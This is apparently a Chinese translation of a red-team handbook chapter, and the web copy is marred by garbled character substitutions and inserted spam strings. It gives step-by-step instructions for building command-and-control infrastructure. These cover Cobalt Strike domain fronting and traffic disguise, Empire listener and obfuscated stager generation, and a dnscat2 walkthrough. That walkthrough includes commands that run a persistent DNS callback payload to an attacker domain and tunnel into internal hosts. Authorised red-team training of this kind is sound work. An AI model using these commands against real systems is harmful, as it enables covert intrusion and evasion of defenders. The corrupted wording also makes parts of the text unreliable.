发布日期:2024-09-04 19:03 点击次数:93
作为红队东说念主员,咱们日常不太关注某次攻击的目的(更关注的是攻击手法)。相背,咱们想从那些高等抑制组织的 TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的抑制谍报分析陈说。从陈说中777me第四色,咱们可以看到:这个抑制组织使用推特作为 C2 做事器,也使用了 github 作为存储加密图片和经过信息隐写文献的仓库。 咱们可以参考此陈说,根据攻击手法的本性来针对性的作念出合适的驻守决议,来看你的公司是否能发现并禁止这种攻击。
让咱们对 APT 攻击作念一些基本的先容。由 MITRE 公司提倡的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是对 APT 攻击的详实分解。这个矩阵中是一个在多样攻击场景中使用的不同 TTP 的大麇集。
商用 ATT&CK 矩阵 - Windows版 777me第四色777me第四色
译者注:
上头的矩阵只是包扩适用于 Windows 平台的时代。完整的商用 Enterprise ATT&CK 矩阵也包括适用于 macOS 和 Linux 平台的时代。 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,故意重新作图。ATT&CK 矩阵于今莫得华文翻译,因为译者诠才末学,不敢献丑翻译,故保留英文。但是需要说明的是,书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在互异,可能是因为矩阵被重新更正了。故给出 Enterprise Matrix - Windows的官网地址 供读者参考。另一个资源是 @cyb3rops 整理的 APT组织与方法持续更新列表。这个谷歌文献列举了宇宙多个国度的疑似 APT 组织及其使用的器具集。对于红队成员来说,咱们可以参考此文档来模拟不同的攻击。天然,咱们可能不会使用与文档中列举的相通的器具,但是咱们可以构建近似的器具来作念相似的攻击。
假设攻破熟练面临安全问题,企业的正确立场是从一最先就应该预设我方也曾被攻破了。然则事实是,如今太多的公司认为通过一些所谓的安全建立或者年度浸透测试,它们是安全的。咱们需要进入一种念念维状态,咱们老是蹲守,假设粗暴就潜伏在周围,咱们需要时刻寻找格外。
这即是红队的行径与浸透测试有很大区别的地方。由于红队的行径要点是检测/给出措施而不是缺点,是以咱们可以作念更多特殊的评估。一种为客户提供巨大价值的评估利益被称为假设突破熟练(assumed breach exercise)。在一个假设突破熟练中,总会遭遇一些 0-day。那么,客户端能否识别和减轻第二阶段和第三阶段方法的影响呢?
在这些场景中,红队与公司里面的有限团队全部责任,在他们的做事器上实行一个定制的坏心软件 payload。这个 payload 应该尝试以多种方式结合,确保绕过常见的AV,并允许额外的 payload 从内存中实行。咱们将在整本书提供一些 payload 的实例。一朝首先的 payload 被实行,扫数的乐趣就从这里最先了!
设定你的行动这是红队行径中我最可爱的一部分。在障碍你的第一个系统之前,你需要肯定你的红队行径范围。在许多浸透测试中,你会得到一个宗旨,然后络续地尝试进入阿谁单一的系统。如果某件事情失败了,你就陆续作念下一件事。莫得剧本,你日常相称专注这个辘集。
在红队行径中,咱们从几个宗旨最先。这些宗旨可以包括但不限于:
最终的宗旨是什么?只是 APT 检测吗?是要在做事器上获取标志吗?是从数据库中获取数据吗?或者只是为特出到检测时效(TTD)方针? 是否有咱们想要复制的公开行径? 你会用什么技巧?咱们磋磨过用 MITRE ATT&CK 矩阵,但是在每个类别中确切的时代是什么? 红金丝雀研究小组提供了每一种时代的详实信息。我浓烈建议你花点期间来稽查这些详实信息。 客户但愿你使用什么器具?是一些诸如 Metasploit、Cobalt Strike、DNS Cat 这样的贸易攻击器具软件?如故平正的定制化器具?一个好音尘是被收拢亦然评估的一部分。有一些入侵中咱们会被抓4到5次,然后在4到5个不同的环境中被肃清。这确乎向你的客户表明,他们的驻守如他们预期的一样在起作用(或莫得起作用)。在书的临了,我将提供一些报文告例,说明咱们如何获取方针并陈说这些数据。
成立你的外部做事器咱们使用许多不同的做事来建立咱们的红队行径。在现在这个充斥着 VPS的宇宙里,在互联网上违犯攻击者的机器不会超出你的预算。举例,我日常使用 Digital Ocean 公司的 Droplets 策动做事或 AWS 的 Lightsail 做事器来建立我的 VPS 做事器。我使用这些做事的原因是它们日常资本很低(有时是免费的),可以遴荐 Ubuntu 系统的做事器,何况可以根据需要遴荐购买不同区域的做事器。最要紧的是,它们相称容易成立。在几分钟内,你就可以成立并运行多个做事器的 Metasploit 和 Empire 做事。
在本书中,我将要点先容 AWS 的 Lightsail 做事器,因为它易于成立、能够自动化做事,以及日常流向 AWS 的流量。在你得胜创建了一个你可爱的镜像后,你可以快速地将该镜像克隆到多个做事器,这使得构建现成的 C2(Command and Control) box 相称容易。
相似,你应该确保遵守 VPS 提供者的做事条件,这样你就不会堕入任何问题。
底下是操作要点:
https://lightsail.aws.amazon.com/ 创建一个实例 我浓烈建议至少使用1gb内存 硬盘大小一般不会有什么问题,可以放纵遴荐 Linux/Unix 操作系统只选 -> Ubuntu 下载 Cert(证书) chmod 600 cert(译者注:只须领有者有读写权限) ssh -i cert ubuntu@[ip]搭建做事器的一个快速方法是集成 TrustedSec 公司的浸透测试框架 (PTF)。PTF 框架是一些剧本的书册,可以为你作念多数的坚苦责任并为其他扫数内容创建了一个框架。让咱们通过一个快速示例来安设咱们扫数的缺点利用模块,信息汇集模块,后浸透利用模块,PowerShell 攻击模块和缺点分析器具:
sudo su - apt-get update apt-get install python git clone https://github.com/trustedsec/ptf /opt/ptf cd /opt/ptf && ./ptf use modules/exploitation/install_update_all use modules/intelligence-gathering/install_update_all use modules/post-exploitation/install_update_all use modules/powershell/install_update_all use modules/vulnerability-analysis/install_update_all cd /pentest下图夸耀了扫数的可用模块,其中一些模块是咱们我方安设的。 图: 扫数可用模块的列表
如果咱们稽查咱们的攻击者 VPS,就可以看到安设在咱们的机器上的扫数器具。如果咱们想要启动 Metasploit,咱们可以输入:msfconsole。图: 安设在 /pentest 文献夹下的扫数器具
我仍然建议建立坚强的 IPTables 规则。因为这将是你的攻击做事器,是以最好限定 SSH 身份考证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所接济的任何垂钓页面。
如果你还紧记在2016年末,有东说念主发现了未经身份考证的长途代码实行(RCE) ( https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/ )。你肯定不但愿客户数据受到攻击做事器的挫伤。
我也曾看到一些红队在 AWS 中,使用 Docker 运行 Kali Linux (或者至少是 Metasploit) (参考: )。在我看来,固然创建你我方的系统若何样皆可以。但是更好的遴荐是创建一个高效且可重迭的进程来部署多台机器。使用 Lightsail 的 最大克己是一朝你将你的机器建立为你的首选项,你就可以对一台机器进行快照,并部署使用该镜像的多个全新实例。
如果你想让你的环境更进一竿,望望 Coalfire 研究所的团队。他们构建了自界说模块来为你完成扫数的坚苦责任和自动化。Red Baron 是 Terraform 的一组模块和自界说/第三方提供者,它可以为红队自动创建弹性、一次性、安全和天真的基础设施。岂论你想要构建一个垂钓做事器,Cobalt Strike 基础设施,或创建 DNS C2 做事器,你皆可以用 Terraform 作念到这一切。
稽查 https://github.com/Coalfire-Research/Red-Baron 并稽查扫数不同的模块以便快速构建你我方的基础架构。
红队的中枢器具红队可能会使用许多器具,但是让咱们来磋磨些最中枢的器具。请记着,作为一个红队成员,咱们的目的不是碎裂环境(固然这是最趣味趣味的),而是要复制现实宇宙的攻击,以稽查客户是否受到保护,并可以在很短的期间内检测到攻击。在前边的章节中,咱们了解了如何从其他 APT 组织那里复制攻击者的摘录文献和器具集,是以让咱们回顾一下一些最常见的红队器具。
Metasploit 框架本书不会像前几本书那样深入探讨 Metasploit。尽管 Metasploit 框架首先是从 2003 年开发的,但它现在仍然是一个相称棒的器具。这是由于首先的开发者 H.D. Moore 和相称活跃的社区为它提供持续接济。这个社区驱动的框架,似乎每天更新,领有扫数最新的公开缺点的利用、后浸透利用模块、辅助模块等等。
对于红队式样,咱们可能使用 Metasploit 通过MS17-010不朽之蓝缺点危害里面系统,以得到咱们的第一个内网 shell,或者咱们可能使用 Metasploit 为咱们的社会工程攻击生成一个 Meterpreter payload。
在背面的章节中,我将向你展示如何重新编译你的 Metasploit payload 并绕过杀毒软件和辘集监控。
污染 Meterpreter 的 Payload如果咱们正在针对宗旨进行一些社工尝试,咱们可能会使用 Word 或 Excel 文档作为咱们的 payload(攻击载荷)的载体。 但是,一个潜在的问题是咱们可能无法包含 Meterpreter 的 payload 的二进制文献或让宗旨机器从 Web 下载咱们的 payload,因为这些操作可能会触发宗旨机器中的杀毒软件的警报。 是以,这里给出一个简单的科罚决议,使用 PowerShell 进行恶浊处理:
咱们以致可以将污染提高到新的水平,并使用 Unicorn 等器具生成更多恶浊的基于 PowerShell 的 Meterpreter payload,咱们将在本书中详实先容这些污染器。
此外,使用受信任的机构签发的 SSL/TLS 证书可以匡助咱们绕过某些辘集中的 IDS(入侵检测系统),具体可以参考以下贯穿杀青:Meterpreter Paranoid Mode。
临了,在本书的背面部分,咱们将磋磨如何重新编译利用 Metasploit/Meterpreter 来绕过基于主机和辘集的检测器具。
Cobalt StrikeCobalt Strike 是迄今为止我最可爱的红队模拟器具之一。什么是 Cobalt Strike 呢?它是一种用来后期持久浸透,横向出动,流量躲避、数据窃取的器具。 Cobalt Strike 并莫得顺利的缺点利用,也莫得通过最新的 0-Day 缺点来碎裂系统。当你也曾在做事器上实行了 CS 的坏心代码或者将 CS 用作辘集垂钓行径的一部分时,你就能感受到 CS 的功能是何等平庸何况坚强。 一朝你可以在机器上实行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)结合回连到 C2 做事器(teamserver)。
新的 Cobalt Strike 许可证的用度为3500好意思元(单用户一年),是以它并不是一个低廉器具。 不外该软件有免费的限量试用版。
Cobalt Strike 基础设施正如上文所述,在基础设施方面,咱们但愿成立这样一个可重用且高度天真的环境。Cobalt Strike 接济重定向,当你的 Cobalt Strike 使用的 C2 域名被糟跶了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 建立这些重定向器的信息:贯穿1 & 贯穿2
为了使你更好的重定向,咱们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的时代作为控制器重定向的时代麇集(参考贯穿)。这可以通过使用流行的内容分发辘集(CDNs)来杀青,如亚马逊云的 CloudFront 或其他的 Google Hosts 来躲避咱们的流量源。这在往常曾被不同的攻击者所利用过(参考贯穿)。
通过使用这些高信誉域名,岂论 HTTP 或 HTTPS 的任何流量,看起来皆像是它正在与这些域通讯,而不是与咱们的坏心 C2 做事器通讯。这一切是如何运作的?用一个比较抽象的例子来说,你的扫数流量将被发送到 CloudFront 的一个主要完全死心域名(FQDNs),举例 a0.awsstatic.com,它是 CloudFront 的主要域名。修改央求中的主机 header 将把扫数流量重定向到咱们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到咱们的 Cobalt Strike C2做事器上(参考贯穿)。
通过变调 HTTP 主机的 header,CDN 将很缩小的的的地把流量传输回到正确的做事器。红队一直使用这种时代通过使用高信誉域名来躲避 C2 做事器的流量。
另外两个接济域名前置的两个不同公司的优秀资源:
CyberArk 还写了一篇很好的博客著述,在著述里他先容了如何使用谷歌的应用居品来使你的流量看起来是流经了 www.google.com, mail.google.com 或者 docs.google.com. Vincent Yiu 写了一篇对于如何使用阿里巴巴 CDN 来接济我方的域名前置攻击的著述。 Cobalt Strike 不是唯一可以接济域名前置的器具,也可以通过 Meterpreter 来完成(参考贯穿)。注:在本书出书时,AWS(以致谷歌云)也曾启动杀青对域名前置的保护( https://amzn.to/2I6lSry )。这并不可阻滞这种类型的攻击,只是需要不同的第三方资源来进行利用。
尽管不是基础架构的一部分,但是咱们如故应该要领路 beacon 是如安在里面环境中责任的。在操作安全方面,咱们应该幸免建立会被温情发现并撤销的持久结合。作为又名红队成员,咱们必须假设咱们的一些客户端是会被蓝队发现的。如果咱们让扫数的主机皆与一个或两个 C2 做事器通讯,蓝队很容易就可以把通盘基础设施连根根除。行运的是,Cobalt Strike 接济内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的策动机与你的 C2 做事器进行正常且合适的 beacon 结合,并使里面辘集上的扫数其他的做事器通过 SMB 左券与首先受感染的主机进行通讯。采取这种结合方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次攻击联系的 C2 做事器域名。
Cobalt Strike 可以把持你的 Beacon 通讯,这对红队成员来说是一个相称有用的本性。使用自界说 C2 建立文献,你可以让扫数来自受感染主机系统的流量看起来和普通流量无异。现在咱们会发现越来越多的内网环境中会针对第7层辘集应用层进行过滤。许多时候蓝队在这层中找寻那些辘集通讯中的格外流量,那么咱们怎样能力让咱们的C2通讯变得如同正常的 Web 流量呢?这即是可定制 C2 建立文献弘扬作用的地方。望望这个例子。阅读这个例子,你会看到一些了然于目的信息:
咱们可以看出这将会产生带有URI旅途的HTTP央求:set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;主机 header 成立为 Amazon:
header “Host” “www.amazon.com”;以致一些自界说做事器的 header 也从 C2 做事器发还:
header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”; header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t
现在许多红队也曾在许多不同的行径中使用了这些建立文献,许多安全厂商也曾给扫数常见的自界说建立文献创建了指纹签名。为了科罚这个问题,咱们能作念的是: 确保修改了建立文献中的扫数静态字符串,确保变调了扫数 User-Agent 信息,使用真实的证书建立 SSL(不要使用 Cobalt Strike 默许的 SSL 证书),治愈抖动率,并变调客户端的的 beacon 期间。 临了一个珍爱事项是确保通过 POST(http-post)敕令进行通讯,因为如果不这样作念可能会导致使用自界说建立文献时出现许多问题。 如果你的建立文献注明了通过 http-get 进行通讯,它仍然有用,但上传大文献将一直被限定。 请记着,GET 央求日常限定在2048个字符以内。
SpectorOps 安全团队还创建了可定制污染 C2 建立文献的式样.
译者注: 这个剧本可以将 Cobalt Strike 的建立文献进行污染来绕过一些基于签名检测的软件,其旨趣是将变量替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 建立文献。
Cobalt Strike 的 Aggressor 剧本Cobalt Strike 式样有许多孝敬者。Aggressor 剧本是一种面向红队操作和敌手模拟的剧本语言,其灵感起首于可剧本化的 IRC 客户端和机器东说念主。开发它的目的有两个:
你可以创建耐久间运行的机器东说念主来模拟诬捏红队成员,并与你并肩进行黑客攻击 你还可以根据你的需要使用它来扩张和修改 Cobalt Strike 客户端的功能 官方先容页面:https://www.cobaltstrike.com/aggressor-script/index.html例子:HarleyQu1nn 将不同的 Aggressor 剧本放在一个式样中提供给你用于后续缺点利用:
PowerShell EmpireEmpire 是一个后期缺点利用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的 Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 式样的合并。 该框架提供了加密安全通讯和天真的架构。在 PowerShell 方面,Empire 杀青了无需 powershell.exe 就可运行 PowerShell 代理的功能。何况 Empire 有许多可以快速部署的后期缺点利用模块,从键盘记载器到 Mimikatz。Empire 还可以治愈通讯,躲避辘集检测。扫数的这些功能皆封装在一个以实用性为要点的 框架中。
对于红队东说念主员来说,PowerShell 是咱们最好的一又友之一。在开动化有用 payload 之后,扫数随后的攻击皆保存在内存中。Empire 最好的地方即是它被开发者积极地爱戴和更新中,以便你可以使用最新的后期缺点利用模块进行攻击。 它们还具有适用于 Linux 和 OS X 的 C2 结合。因此,你仍然可以创建基于 MAC 的 Office 宏,当实行之后,在 Empire 中领有一个全新的代理。
咱们将通过本书更详实地先容 Empire,以便你了解它的威力如何。在成立 Empire 方面,确保你已安全地建立它相称要紧:
将证书旅途 CertPath 成立为一个真实确凿的 SSL 证书。 变调 DefaultProfile 端点。许多第7层防火墙皆在寻找确切的静态端点。 变调用于通讯的用户代理。在前两版书中咱们提过,Metasploit 的源文献用于自动化,Empire 现在也接济自动运行的剧本,这样可以提高遵循。
运行 Empire:
开动化 Empirecd /opt/Empire && ./setup/reset.sh退出
exit安设证书(最好是使用真实受信任的证书)
./setup/cert.sh最先运行 Empire
./empire创建一个监听器
listeners遴荐你的监听器类型(咱们实验使用的是 HTTP)
uselistener [按两次 tab 键来查阅扫数类型的监听器] uselistener http稽查监听器的全部建立信息
info成立以下内容(即成立KillDate 12/12/2020)
KillDate - 规则一个闭幕期间然后自动清算代理 DefaultProfile - 确保变调扫数端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,举例/seriously/notmalware.php DefaultProfile - 确保也变调你的用户代理。 我一般是稽查使用过的顶级用户代理并遴荐从中遴荐一个。 Host - 变调为通过端口443的 HTTPS CertPath - 添加 SSL 证书的旅途 UserAgent - 将其变调为你的常用用户代理 Port - 成立为443 ServerVersion - 将其变调为另一个常见的做事器 Header当你完成扫数这些,开启你的监听器
execute建立 Payload
payload 是将在受害者系统上运行的现实坏心软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但 Empire 以其基于 PowerShell Windows 的 Payload 而有名:
进入主菜单main为 OSX,Windows,Linux 创建可用的 stager。 咱们将创建一个简单的 bat 文献作为示例,但现实上你可以为 Office 文献创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入器具)
usestager [按两次tab键来查阅扫数不同的类型] usestager windows/launcher_bat稽查扫数成立
info建立扫数 Settings
http 把 Listener 成立为 http 建立 UserAgent(用户代理)创建 Payload
generate在另一个结尾窗口中稽查你的 payload
cat /tmp/launcher.bat
如你所见,创建的 payload 被严重污染。 你现在可以把这个 .bat 文献丢到任何 Windows 系统上。 天然,你可能会创建一个 Office 宏文献或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入器具)的 payload,但这只是强大示例中的一个。
如果你尚未在 Kali 图形界面上安设 PowerShell,那么最好的方法是手动安设它。 在 Kali 上安设 PowerShell:
dnscat2内网出口一般对出站流量作念了严格限定,但是日常不会限定 DNS 央求,也即是 UDP 53 央求。dnscat2 即是一款利用 DNS 左券创建加密 C2 纯正来控制做事器的器具,是以说这种纯正险些在每个辘集中皆可以使用。dnscat2 由客户端和做事端两部分构成。
基于 DNS 的 C2 做事器结合的浸透决议提供了一种很好的机制来躲避你的流量,躲避辘集传感器并绕过辘集限定。在许多限定性环境或出产环境中,咱们遭遇的辘集要么顺利不允许出站流量,要么流量也会被严格的限定或监控。为了绕过这些保护,咱们可以使用像 dnscat2 这样的器具。咱们关注 dnscat2 的原因是因为它不需要 root权限就允许shell拜谒和数据传输。
在许多安全环境中,顺利使用 UDP 或 TCP 出站会受到限定。 为什么不利用基础架构中也曾内置的做事呢?许多受保护的辘集包含一个 DNS 做事器来解析里面主机,同期还允许解析外部资源。通过为咱们领有的坏心域名成立一个巨擘做事器,咱们可以利用这些 DNS 解析来对咱们的坏心软件进行敕令实行和控制。
在咱们的场景中,咱们将成扬名为 “loca1host.com” 的攻击者域。 咱们但愿通过对 “localhost” 创建“分身”来更多地躲避咱们的流量。请你自行将 “loca1host.com” 替换为你领有的域名。咱们将建立 loca1host.com 的 DNS 信息,使其成为一个巨擘 DNS 做事器(Authoritative DNS server)。 在这个例子中,咱们将使用 GoDaddy 的 DNS 建立器具,但你也可以换成任何其他的 DNS 做事。
使用GoDaddy成立一个巨擘DNS做事器 首先,确保将一台 VPS 做事器成立为你的 C2 攻击做事器并获取了该做事器的 IP。 在 GoDaddy 网站购买域名后,登录你的 GoDaddy(或其他近似的)帐户。 遴荐你的域,单击“料理”,然后遴荐“高等 DNS”。 先成立两条 A 记载指向你的 VPS 的 IPns1 (然后输入你的VPS的IP) ns2 (然后输入你的VPS的IP)然后成立自界说 NS 记载
添加 ns1.loca1host.com 添加 ns2.loca1host.com
如上图所示,咱们现在让咱们的 NS 记载指向 ns1.loca1host.com 和 ns2.loca1host.com,它们皆指向咱们的攻击 VPS 做事器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用咱们的 VPS 进行联系的域名解析。对咱们来说行运的是,dnscat2 在 UDP 端口53上监听并为咱们作念了扫数空匮的责任。
接下来,咱们将需要完全成立充任咱们的自界说域名解析做事器的攻击做事器。开动化并成立 dnscat2 做事器:
对于客户端的代码,咱们需要将其编译为 Linux 接济实行的二进制文献。
编译客户端git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client cd /opt/dnscat2/client/ make 咱们现在应该创建一个 dnscat 二进制文献! (如果你在 windows 环境下编译,需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )
现在咱们也曾建立好了巨擘 DNS,咱们的攻击做事器作为一个 DNS 做事器正在运行 dnscat2,何况咱们也曾编译了坏心软件。咱们也曾准备好在宗旨机器中实行咱们的 payload。
在最先之前,咱们需要在攻击做事器上启动 dnscat2。要启用多个建立,其中的主要建立是建立阿谁 -secret 标志来确保咱们在 DNS 央求中的通讯是加密的。另外,一定要更换我上头用于演示的 loca1host.com 域名,使用你我方领有的域名并创建随秘密钥字符串。
在你的攻击做事器中启用 dnscat2:
screen ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j
假设你在易受攻击的做事器上有某种 RCE(长途敕令实行缺点)。 你可以运行 shell 敕令并上传咱们的 dnscat payload。实行 payload:
./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j
这将在宗旨机器中启动 dnscat,域名查询使用了咱们自界说的的巨擘做事器,从而创建咱们的 C2 通说念。 我属意到一件事是有时 dnscat2 程度会窘态其妙挂掉。这可能来悠闲型文献传输或者只是范例崩了。为了躲避这些类型的问题,我想阐发我的 dnscat payload 有复返。为此,我日常可爱使用快速 bash 剧本启动我的 dnscat payload:
nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -secret 9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &
这将确保如果客户端 payload 程度因任何原因而挂掉了,它将每小时生成一个新的实例。有时你只须一次契机来运行你的 payload,那么你需要让范例我方计数! 临了,如果你要在 Windows 上跑这个 payload,你可以编译使用 dnscat2 payload......或者,为什么不在 PowerShell 中实行此操作呢?! Luke Baggett 写了一个对于 dnscat 客户端的 PowerShell 版块->点此稽查。
dnscat2的结合在咱们的 payload 实行并结合回咱们的攻击做事器之后,咱们应该看到近似于底下的一个新的ENCRYPTED AND VERIFIED音尘。通过输入 “window”,dnscat2 将夸耀扫数会话。现在,咱们有一个名为“1”的单行敕令会话。
咱们可以通过与咱们的敕令会话交互来生成结尾花式 shell:
与咱们的第一个敕令会话进行交互window -i 1启动shell会话
shell回到主会话
Ctrl-z与 2 会话进行交互
window -i 2现在,你应该能够运行扫数 shell 敕令(举例 ls)
固然这不是最快的shell,但由于扫数通讯皆是通过 DNS 进行的,因此它确乎可以在一些 Meterpreter 或近似 shell 无法正常责任的情境下成效。 dnscat2 更好的地方是它完全接济搭建纯正。这样,如果咱们想要使用来自咱们的主机系统的缺点利用模块,咱们可以通过纯正和浏览器来拜谒其里面网站,以致是 SSH 结合到另外的机器中,这一切皆是可能的。
dnscat2 纯正咱们有许多时候想要将来自攻击做事器的流量通过咱们的受感染主机传递到其他里面做事器。使用 dnscat2 实行此操作的最安全方法是通过土产货端口转发咱们的流量,然后将流量通过纯正传输到里面辘集上的其他机器上。咱们可以通过敕令会话中的以下敕令来完成此示例:
listen 127.0.0.1:9999 10.100.100.1:22
创建纯正后,咱们可以复返攻击策动机上的根结尾窗口,通过土产货的 9999 端口使用 SSH 结合到 localhost,然后得胜结合到受害者辘集上的里面系统并进行身份考证。
译者注:这里如果看不懂,可以望望这篇著述加深领路 -> 使用SSH反向纯正进行内网穿透
这将提供多样种种的乐趣和一个很好的测试,来看你的客户的辘集是否可以主动检测多数 DNS 查询和溢出。那么,请乞降响应是什么花式的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的宗子域创建了多数不同的 DNS 央求。
现在,你可能想要测试许多其他的左券。举例,Nishang 有一个基于 PowerShell 的 ICMP Shell( ),它使用 https://github.com/inquisb/icmpsh 作为 C2 做事器。 还有其他 ICMP shell,如:
https://github.com/jamesbarlow/icmptunnel https://github.com/DhavalKapil/icmptunnel p0wnedShell正如 p0wnedShell 的 Github 页面所述,这个器具是“用 C# 编写的障碍型 PowerShell 主机应用范例,它不依赖于 powershell.exe,而是在 powershell 运行空间环境(.NET)中运行 powershell 敕令和函数。它包含了多数的 PowerShell 攻击模块和二进制文献,使后期利用过程变得愈加容易。咱们尝试的是建立一个‘一体化’的后浸透利用器具,咱们可以使用它来绕过扫数保护措施(至少是其中一些),p0wnedShell 中包含了扫数的联系器具。你可以利用 p0wnedShell 来在行径目次环境中实行现代化的攻击,并在你的蓝队中创建意志,以匡助他们构建正确的驻守策略。”
Pupy ShellPupy 是“一个开源,跨平台(Windows,Linux,OSX,Android)的长途料理和后浸透利用器具,主要用python编写”。
Pupy 的一个相称棒的功能是,你可以在扫数代理上运行 Python,而无需在扫数主机上现实安设 Python。 因此,如果你尝试在自界说框架中编写多数攻击剧本,Pupy即是一个很合适的器具。
PoshC2PoshC2 是一个代理感知型 C2 框架,完全用 PowerShell 编写,以匡助浸透测试东说念主员进行红队合作,后浸透利用和横向出动。这些器具和模块是基于咱们得胜的 PowerShell 会话和 Metasploit 框架的 payload 类型的汇总。PowerShell 被选为基本语言,因为它提供了所需的扫数功能和丰富的拓展本性,而无需向框架引入多种语言。
MerlinMerlin 利用最近开发的名为 HTTP/2 (RFC7540) 的左券。 “HTTP/2 的通讯是多路复用的双向结合,在一个请乞降响应之后不会闭幕。 此外,HTTP/2 是一种二进制左券,因此它紧凑、易于解析,何况如果不借助解释器的话东说念主是险些读不懂的”(Russel Van Tuyl 2017)。
注:此句话出处为:Russel Van Tuyl, "Merlin - 跨平台后持续利用 HTTP/2 C2 器具", Medium[Online], 发表于2017年12月19日, 可获取地址:https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a 检索于 2019 年 2 月 27 日
Merlin 是一个用 GO 编写的器具,外不雅和嗅觉近似于 PowerShell Empire,何况允许使用轻量级代理。它不接济任何类型的后浸透利用模块,因此你必须我方完成模块的开发。
NishangNishang 是一个剧本和 payload 的框架和麇集,可以使用 PowerShell 进行障碍型安全测试,浸透测试和红队测试。 Nishang 在浸透测试的扫数阶段皆很有用。
固然 Nishang 现实上是一系列令东说念主齰舌的 PowerShell 剧本的麇集,但也包含一些轻量级的 C2 剧本。
本章总结现在你终于准备开战。你并非像刚最先那样手无寸铁了,你有这些器具和建立过的做事器。好的准备将匡助你绕过包括辘集检测器具、辘集左券被禁止、基于主机的安全器具在内的任何阻碍。
对于本书中的实验,我创建了基于 Kali Linux 的添加了扫数器具的完整版诬捏机 -> 点此获取 。在 The Hacking Playbook 的归档中,有一个名为 List_of_Tools.txt 的文本文献,里面列出了扫数添加的器具。诬捏机的默许用户名/密码是 root/toor。
第2章 发球前——红队侦察在 The Hacking Playbook 2 中,前边的发球部分要点先容了一些不同的器具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、缺点扫描器(包括 nessus,openvas)、Burp 套件等。这些器具咱们可以在外网或内辘集使用,对宗旨的基础设施进行侦察或扫描。在本书中咱们将延续这一作念法,然后从红队的角度对侦察阶段进行拓展。
环境探伤对于红队来说,这时时是障碍的好时机。你不仅需要随时准备好去攻击基础设施,还需要络续地寻找它的缺点。咱们可以通过使用不同的器具来进行环境扫描、做事探伤、检索云策动建立造作。这些行径有助于你汇集关联宗旨基础设施的更多信息,并找到攻击的最好方法。
扫描结果互异化分析对于扫数客户机,咱们要作念的第一件事即是成立不同的监视剧本。这些日常只是一些能快速完成的 bash 剧本,它们每天通过电子邮件向咱们发送客户机辘集的互异。天然,在扫描之前,确保你有安妥正当的授权来实行扫描。
对于一般不太大的客户机辘集,咱们成立简单的 cronjob 来实行外部端口互异化分析。举例,咱们可以创建一个快速的 Linux bash 剧底本完成这项极重的责任(请记着替换底下剧本中的 IP 范围):
#!/bin/bash mkdir /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 >/dev/null 2>&1 if [ -e /opt/nmap_diff/scan_$y.xml ]; then /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml >/opt/nmap_diff/diff.txt fi译者注:上头这段剧本中使用了正则抒发式。是以本末节的英文名字叫 Regular Nmap Diffing。
这是一个相称简单的剧本,它每天用默许的端口运行 nmap,然后使用 ndiff 比较结果。然后,咱们可以获取这个剧本的输出结果,并让它把每天发现的新端口实时文牍咱们的团队。
在上一册书中,咱们细心磋磨了 Masscan 的克己,以及它比 nmap 的速率快几许。Masscan 的开发者说,如果你的辘集带宽弥散大,你可以在6分钟内扫描已矣通盘互联网。是以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对咱们首先的侦察很有用,但日常无谓于比较互异。
实验:本书中的实验是选修的。在某些部分中,我添加了一些实验浅显你进行测试或者扩张更多的领域。这皆是基于读者的个东说念主风趣的,如果对某方面感风趣,我浓烈推选你花期间改进咱们的器具,并与社辞别享它。建立一个更好的辘集 diff 扫描器:
构建一个比默许的 nmap 更好的端口列表(举例,nmap 默许的漏掉一些端口,比如 Redis 6379/6380 和其他端口) 杀青 nmap banner 保持对端口的历史追踪 建立电子邮件提醒/文牍系统 参考 diff Slack 警报 Web 应用范例监控除了如期扫描通达的端口和做事之外,红队还应该监视不同的 Web 应用范例,这一丝很要紧。咱们可以使用以下两个器具来匡助监视应用范例的变化。
咱们常用的第一个器具是 HTTPScreenshot 。HTTPScreenshot 很坚强的原因是它使用 Masscan 快速扫描大型辘集,并使用 phantomjs 捕捉它检测到的任何网站的屏幕截图。这是快速得到大的内网或外网布局架构的一个好方法。
